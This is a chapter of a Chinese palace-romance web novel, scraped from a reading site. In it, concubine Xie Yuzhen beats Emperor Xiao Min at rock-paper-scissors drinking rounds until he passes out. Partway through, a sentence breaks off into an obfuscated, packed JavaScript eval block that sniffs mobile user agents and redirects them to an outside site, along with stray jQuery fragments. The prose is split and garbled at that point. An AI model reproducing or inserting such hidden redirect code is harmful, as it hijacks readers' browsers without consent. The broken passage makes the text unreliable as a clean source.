默认冷灰
24号文字
方正启体

13. 猜拳

作者:叶天舟本书字数:K更新时间:
    谢玉真今天很开心,李玄朔没有否认她称他为朋友。


    当然,他后来也没说什么实质性的话承认。


    但没否认不就是默认嘛,默认不就代表是承认嘛。


    按照这个逻辑,他李玄朔就已经是她的朋友了,虽然是关系很一般甚至可以说是比较远的朋友,但这是一个好的开始,接下来她再努努力继续与他拉近拉近关系,可能还会帮他几个小忙,这样一来不怕他和她关系不好。


    挽荷再见到谢玉真时见她一脸欣喜,好像有好事发生一般整个人喜气洋洋的,挽荷心里疑惑,怎么与才人分开不久她便如此开心,莫不是在分开的片刻时间才人知道了什么好消息?


    开心是会传染的,挽荷向来是个寡言少语的沉静性子,现下却也被谢玉真这不知缘由的开心给渲染了,谢玉真拉起她的手便开开心心地往回走。


    喜笑颜开,谢玉真巧笑嫣然的模样娇艳明媚,挽荷片刻愣神,有那么一瞬她竟然觉得她家才人一笑把御花园中争奇斗艳的群芳都给比了下去。


    人不会一直都笑下去,乐极生悲,白天谢玉真笑得有多开心傍晚她就难过得有多伤心。


    铜镜映出她那张娇艳欲滴的脸来,白日里明媚可人的脸现下却紧皱眉头仿若一个悲催的小苦瓜。


    吉安方才来传口谕,梁帝今晚又会来她这里。


    “恭喜才人,贺喜才人!”挽荷笑着道。


    谢玉真的嘴角抽了一下,她实在笑不出来,生硬的动作只扯出来一个皮笑肉不笑的表情,“喜从何来?”


    挽荷凑近谢玉真,道:“陛下自登基以来日日宠幸不同的妃嫔美人,像才人这般连着两天得陛下临幸的在宫里还是头一回呢。”


    呵呵。


    谢玉真懒得继续和挽荷说下去。


    不论是原著中还是现实中,梁帝萧悯真的是一个不太正常的人。


    他坐拥后宫佳丽三千,多情却从不专情,不,应该是无情才对,除个别能令他稍微记住的妃子以外,他从不会再宠幸一个女子第二次。


    他仿佛一直在追寻一种新鲜感和刺激感,不仅是在后宫的女人身上,还有在朝堂上也是。


    朝令夕改,否决先帝的国策,随意任命大臣的职位。


    还别说,这看似疯癫的举动有时还真起了意想不到的效果,不过嘛,有好有坏,有时他头脑一热发布下去的一个命令还真是利国利民的好政策,但有时嘛,就纯粹是胡闹了。


    是以虽然他整个人有种捉摸不定的疯癫感,但由于他也不是所有时刻都不太靠谱,再加上梁国国内不少忠臣良将的辅佐之下,这梁国倒也不是日薄西山,气数将尽。


    人性是复杂的,谢玉真理解不了萧悯的所作所为,也不太明白他心里的想法。


    她现在对他厌烦得很。


    勾手示意挽荷附耳过来,她在挽荷的耳边低声几句,挽荷点点头照她的吩咐去准备了。


    从不问她为什么是挽荷的优点之一。


    谢玉真想,她这不算聪明的小脑瓜唯一算是大动脑筋的地方恐怕就在于防备和萧悯发生些什么上了。


    还好,她此时想到了办法。


    夜晚,萧悯的銮驾如同昨日一般降临了含章殿。


    谢玉真让人将殿内的烛火熄灭了几盏,偌大的宫殿立刻变得昏暗了许多。


    光线幽暗,萧悯看得不真切,但将目光放置在她的身上时却总觉得有种朦胧的美感。


    昨天是明亮烛火下震慑人心的美,今日是昏暗里若隐若现的神秘美感。


    萧悯心弦一动,再一次打量起她来。


    脸还是那张脸,可就是觉得今日的她和昨日不同。


    罕见的,她这张脸深深的印入萧悯的脑海,他似乎并没有因为多看了她几次而失去对这张脸的兴趣。


    “谢才人,今日殿内怎的如此昏暗?”萧悯问道。


    谢玉真唇角一勾,轻笑道:“因为臣妾想与陛下再玩个游戏?”


    略显昏暗的环境有助于她接下来要做的事情。


    “玩游戏?”萧悯眼露狐疑,又道:“不会又是像昨天一开始那个下棋吧?先说好,要是下棋朕可不能答应你。”


    谢玉真摇摇头,“不是下棋。”


    “那是那个像躲猫猫一样的你抓我藏?”


    “也不是。”


    听到她说不是昨天玩过的游戏,萧悯来了兴趣,“那是什么?”


    谢玉真笑着道:“陛下可会猜拳?”


    古代和现代的猜拳不太一样,现代的猜拳一般是指石头剪刀布,而在古代,猜拳是一种酒席间常见的游戏,两人同时出拳伸手指,各自说一个数字,符合两人伸出手指之和的人赢。(1)


    萧悯自然是会猜拳的,但他本以为谢玉真可以说出个有些新意的游戏可没想到竟然是猜拳,当下不由得有些大失所望。


    “猜拳啊,朕自然是会的,只不过玩得多了这猜拳也是没什么意思。”


    谢玉真见萧悯对猜拳好像不太感兴趣,便道:“今日臣妾和陛下玩的猜拳规则和陛下以往玩过的不同,陛下可愿一试?”


    萧悯点了点头,谢玉真便把石头剪刀布的规则告诉了他。


    接着,谢玉真又说道:“陛下,仅仅只是猜拳未免太过单调,不如我们约定,输一局便自罚三杯酒然后唱歌一曲如何?”


    萧悯欣然同意,他眼含笑意,道:“好啊,正好朕还没听过你的歌喉呢,想必你唱起歌来也是十分动人。”


    谢玉真但笑不语,恐怕她今夜是不会唱歌了,论起玩石头剪刀布她可是行家,从小到大几乎没有输过。


    今天晚上只有一个结果,那就是萧悯被她给灌醉了。


    第一回合。


    萧悯出拳,是个石头,谢玉真出掌,是布。


    谢玉真胜。


    谢玉真笑意盈盈给萧悯倒酒,不过不是往杯子里倒酒,而是碗。


    萧悯见她往碗里倒酒,有些诧异,“竟是碗吗?”


    谢玉真眼波婉转,故意说道:“怎么,陛下莫不是怕了?”


    萧悯无奈笑道:“朕何时怕过,不过三碗酒未免有些多了,朕倒是没事,只是一会儿你要是输了可别不胜酒力。”


    “臣妾自是愿赌服输的。”


    萧悯笑着接过她手中的酒一饮而尽,谢玉真赶紧给他再倒了一碗。


    古代的酒度数不高,喝得少了不是那么容易醉的。


    喝完三碗酒萧悯又开始放声高歌。


    这首曲子谢玉真也熟悉,他唱的是在《江山帝王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602533|172036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    业》里出场过好几次的《鸿雁赋》。


    《鸿雁赋》是梁国的太祖皇帝所作,昔年太祖皇帝征战沙场,每有胜仗大宴群臣便会振声高歌唱此曲,在梁国,无论是皇室中人还是寻常官吏几乎都会此曲。


    鸿雁飞兮振翅高,天南海北兮行千里。


    落日苍茫兮战鼓升,征战沙场兮天下平。


    ......


    萧悯歌声嘹亮,他的心情似乎不错。


    殿外守候的吉安听到萧悯放声高歌的声音顿时心里一惊,印象当中陛下上一次高歌还是多年前先帝在时的一次酒宴上。


    歌声能传达出一个人心里的情感,吉安从他的歌声中捕捉到了他此时心情应该是极其愉悦的。


    自先帝去后陛下登基即位,这些年他的性子是越来越难以捉摸了,无论是在后宫中寻欢作乐还是与群臣宴饮虽然他始终笑着似乎很是享受,但吉安总觉得他不是真的愉悦,而是在消遣,在打发无聊的时间。


    脸上的笑意可能不是发自内心的,说出的话也可能不是真的,但音乐通人心,歌声中蕴含的情感却是真的。


    陛下很高兴。


    吉安心里对谢玉真越发好奇了,如今能令陛下真正感到开心的人是少之又少,在后宫里这位谢才人当属头一个。


    萧悯唱罢,谢玉真赶紧鼓掌,道:“陛下的声音雄浑嘹亮,真是妙哉妙哉!”


    萧悯看向谢玉真的目光中不自觉带了几分柔和,他道:“朕的歌声你已经听过了,可是你的歌声朕还没有听过呢。”


    谢玉真红唇微勾,露出一个耐人寻味的笑来,“那就要看陛下接下来能否赢过臣妾了。”


    第二回合。


    萧悯出布,谢玉真出剪刀。


    谢玉真胜!


    又是三碗酒奉上,萧悯唱歌一曲。


    第三回合。


    萧悯出剪刀,谢玉真出石头。


    谢玉真胜!


    第四回合。


    ......


    第五回合。


    ......


    第九回合。


    ......


    当谢玉真又一次赢了萧悯给他倒上酒,萧悯已经有了醉意。


    他面上潮红,眼神迷离,显然是已经喝了很多酒。


    据说在昏暗的环境下人比平时更容易醉酒,谢玉真又熄灭了一盏灯。


    随着这一盏灯的熄灭,整个殿内更加暗淡了。


    谢玉真见萧悯此刻已经有些神志不清,便趁他喝下那碗酒的时间悄悄从身后的匣子里拿出一个更大的碗来。


    萧悯先前喝酒的碗只是普通的碗,而她现在拿出来的是一个很大的海碗。


    谢玉真给海碗里倒上酒,将萧悯喝完的空碗拿走,她笑着将海碗递给萧悯,“陛下,还有一碗酒。”


    因为酒醉萧悯也分不清东南西北了,下意识地接过谢玉真手里的酒然后一饮而尽。


    不多时,醉酒的萧悯已然是昏昏沉沉,只觉天旋地转不知今夕是何年。


    桌面上传来重重一声,萧悯彻底地醉了过去,不省人事。


    “陛下,陛下。”谢玉真试探的推了推他。


    萧悯毫无反应,显然是醉得不轻。


    谢玉真满意的笑了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)